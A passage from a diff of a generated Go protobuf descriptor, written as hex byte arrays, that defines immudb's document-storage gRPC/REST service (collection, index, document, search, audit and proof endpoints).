0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, + 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, + 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, + 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, + 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, + 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, + 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, + 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xd0, + 0x11, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, + 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x7f, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, - 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, 0x65, - 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, - 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x39, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, 0x01, 0x0a, - 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, 0x0a, 0x0f, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x22, 0x27, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, - 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, - 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, - 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, - 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, - 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, - 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, - 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, - 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x2b, 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 